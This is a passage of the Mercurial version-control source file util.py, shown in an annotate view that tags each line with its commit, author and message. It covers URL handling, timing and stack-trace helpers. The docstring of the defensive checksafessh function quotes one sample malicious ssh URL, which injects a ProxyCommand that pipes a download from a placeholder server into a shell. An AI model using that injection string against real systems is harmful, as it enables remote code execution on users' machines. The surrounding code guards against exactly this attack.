parents: 14699
diff changeset
  2815
            return True # POSIX-style
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  2816
        return False
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  2817
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2818
    def localpath(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2819
        if self.scheme == 'file' or self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2820
            path = self.path or '/'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2821
            # For Windows, we need to promote hosts containing drive
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2822
            # letters to paths with drive letters.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2823
            if hasdriveletter(self._hostport):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2824
                path = self._hostport + '/' + self.path
15496
396e83d635a6 url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents: 15488
diff changeset
  2825
            elif (self.host is not None and self.path
396e83d635a6 url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents: 15488
diff changeset
  2826
                  and not hasdriveletter(path)):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2827
                path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2828
            return path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2829
        return self._origpath
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2830
20353
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
  2831
    def islocal(self):
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
  2832
        '''whether localpath will return something that posixfile can open'''
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
  2833
        return (not self.scheme or self.scheme == 'file'
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
  2834
                or self.scheme == 'bundle')
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
  2835
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2836
def hasscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2837
    return bool(url(path).scheme)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2838
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2839
def hasdriveletter(path):
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
  2840
    return path and path[1:2] == ':' and path[0:1].isalpha()
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2841
14825
de9eb6b1da4f util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents: 14766
diff changeset
  2842
def urllocalpath(path):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2843
    return url(path, parsequery=False, parsefragment=False).localpath()
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2844
33648
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2845
def checksafessh(path):
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2846
    """check if a path / url is a potentially unsafe ssh exploit (SEC)
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2847
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2848
    This is a sanity check for ssh urls. ssh will parse the first item as
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2849
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2850
    Let's prevent these potentially exploited urls entirely and warn the
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2851
    user.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2852
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2853
    Raises an error.Abort when the url is unsafe.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2854
    """
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2855
    path = urlreq.unquote(path)
33658
3fee7f7d2da0 ssh: unban the use of pipe character in user@host:port string
Yuya Nishihara <yuya@tcha.org>
parents: 33655
diff changeset
  2856
    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
33648
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2857
        raise error.Abort(_('potentially unsafe url: %r') %
36747
ca201470abb4 util: fix unsafe url abort with bytestr() on url
Augie Fackler <augie@google.com>
parents: 36724
diff changeset
  2858
                          (pycompat.bytestr(path),))
33648
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33624
diff changeset
  2859
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2860
def hidepassword(u):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2861
    '''hide user credential in a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2862
    u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2863
    if u.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2864
        u.passwd = '***'
31841
9ff5a124d111 py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31811
diff changeset
  2865
    return bytes(u)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2866
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2867
def removeauth(u):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2868
    '''remove all authentication information from a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2869
    u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2870
    u.user = u.passwd = None
37366
b23e3cc1afd4 py3: return bytes from util.removeauth()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 37322
diff changeset
  2871
    return bytes(u)
14515
76f295eaed86 util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents: 14313
diff changeset
  2872
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2873
timecount = unitcountfn(
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2874
    (1, 1e3, _('%.0f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2875
    (100, 1, _('%.1f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2876
    (10, 1, _('%.2f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2877
    (1, 1, _('%.3f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2878
    (100, 0.001, _('%.1f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2879
    (10, 0.001, _('%.2f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2880
    (1, 0.001, _('%.3f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2881
    (100, 0.000001, _('%.1f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2882
    (10, 0.000001, _('%.2f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2883
    (1, 0.000001, _('%.3f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2884
    (100, 0.000000001, _('%.1f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2885
    (10, 0.000000001, _('%.2f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2886
    (1, 0.000000001, _('%.3f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2887
    )
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2888
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2889
_timenesting = [0]
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2890
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2891
def timed(func):
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2892
    '''Report the execution time of a function call to stderr.
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2893
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2894
    During development, use as a decorator when you need to measure
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2895
    the cost of a function, e.g. as follows:
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2896
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2897
    @util.timed
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2898
    def foo(a, b, c):
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2899
        pass
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2900
    '''
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2901
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2902
    def wrapper(*args, **kwargs):
30995
22fbca1d11ed mercurial: switch to util.timer for all interval timings
Simon Farnsworth <simonfar@fb.com>
parents: 30994
diff changeset
  2903
        start = timer()
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2904
        indent = 2
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2905
        _timenesting[0] += indent
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2906
        try:
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2907
            return func(*args, **kwargs)
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2908
        finally:
30995
22fbca1d11ed mercurial: switch to util.timer for all interval timings
Simon Farnsworth <simonfar@fb.com>
parents: 30994
diff changeset
  2909
            elapsed = timer() - start
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2910
            _timenesting[0] -= indent
30482
39d13b8c101d py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents: 30481
diff changeset
  2911
            stderr.write('%s%s: %s\n' %
39d13b8c101d py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents: 30481
diff changeset
  2912
                         (' ' * _timenesting[0], func.__name__,
39d13b8c101d py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents: 30481
diff changeset
  2913
                          timecount(elapsed)))
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  2914
    return wrapper
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2915
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2916
_sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2917
              ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2918
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2919
def sizetoint(s):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2920
    '''Convert a space specifier to a byte count.
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2921
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2922
    >>> sizetoint(b'30')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2923
    30
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2924
    >>> sizetoint(b'2.2kb')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2925
    2252
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2926
    >>> sizetoint(b'6M')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2927
    6291456
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2928
    '''
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2929
    t = s.strip().lower()
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2930
    try:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2931
        for k, u in _sizeunits:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2932
            if t.endswith(k):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2933
                return int(float(t[:-len(k)]) * u)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2934
        return int(t)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2935
    except ValueError:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  2936
        raise error.ParseError(_("couldn't parse size: %s") % s)
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2937
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2938
class hooks(object):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2939
    '''A collection of hook functions that can be used to extend a
26098
ce26928cbe41 spelling: behaviour -> behavior
timeless@mozdev.org
parents: 25672
diff changeset
  2940
    function's behavior. Hooks are called in lexicographic order,
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2941
    based on the names of their sources.'''
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2942
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2943
    def __init__(self):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2944
        self._hooks = []
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2945
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2946
    def add(self, source, hook):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2947
        self._hooks.append((source, hook))
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2948
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2949
    def __call__(self, *args):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2950
        self._hooks.sort(key=lambda x: x[0])
21046
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
  2951
        results = []
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  2952
        for source, hook in self._hooks:
21046
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
  2953
            results.append(hook(*args))
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
  2954
        return results
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  2955
36167
2874896a6e3b util: format line number of stack trace using %d
Augie Fackler <augie@google.com>
parents: 36166
diff changeset
  2956
def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2957
    '''Yields lines for a nicely formatted stacktrace.
31324
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
  2958
    Skips the 'skip' last entries, then return the last 'depth' entries.
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2959
    Each file+linenumber is formatted according to fileline.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2960
    Each line is formatted according to line.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2961
    If line is None, it yields:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2962
      length of longest filepath+line number,
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2963
      filepath+linenumber,
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2964
      function
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2965
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2966
    Not be used in production code but very convenient while developing.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2967
    '''
36168
7ec26f27ca83 util: convert traceback-related sysstrs to sysbytes in getstackframes
Augie Fackler <augie@google.com>
parents: 36167
diff changeset
  2968
    entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
31324
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
  2969
        for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
  2970
        ][-depth:]
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2971
    if entries:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2972
        fnmax = max(len(entry[0]) for entry in entries)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2973
        for fnln, func in entries:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2974
            if line is None:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2975
                yield (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2976
            else:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2977
                yield line % (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2978
31324
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
  2979
def debugstacktrace(msg='stacktrace', skip=0,
37121
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  2980
                    f=procutil.stderr, otherf=procutil.stdout, depth=0):
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  2981
    '''Writes a message to f (stderr) with a nicely formatted stacktrace.
31324
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
  2982
    Skips the 'skip' entries closest to the call, then show 'depth' entries.
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
  2983
    By default it will flush stdout first.
28496
b592564a803c util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents: 28027
diff changeset
  2984
    It can be used everywhere and intentionally does not require an ui object.
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  2985
    Not be used in production code but very convenient while developing.
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  2986
    '''
20542
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
  2987
    if otherf:
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
  2988
        otherf.flush()
31323
7c877cbf30d6 util: strip trailing newline from debugstacktrace message
Mads Kiilerich <madski@unity3d.com>
parents: 31151
diff changeset
  2989
    f.write('%s at:\n' % msg.rstrip())
31324
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31323
diff changeset
  2990
    for line in getstackframes(skip + 1, depth=depth):
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  2991
        f.write(line)
20542
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
  2992
    f.flush()
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  2993
24635
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  2994
class dirs(object):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  2995
    '''a multiset of directory names from a dirstate or manifest'''
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  2996
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  2997
    def __init__(self, map, skip=None):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  2998
        self._dirs = {}
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  2999
        addpath = self.addpath
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3000
        if safehasattr(map, 'iteritems') and skip is not None:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3001
            for f, s in map.iteritems():
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3002
                if s[0] != skip:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3003
                    addpath(f)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3004
        else:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3005
            for f in map:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3006
                addpath(f)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3007
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3008
    def addpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3009
        dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
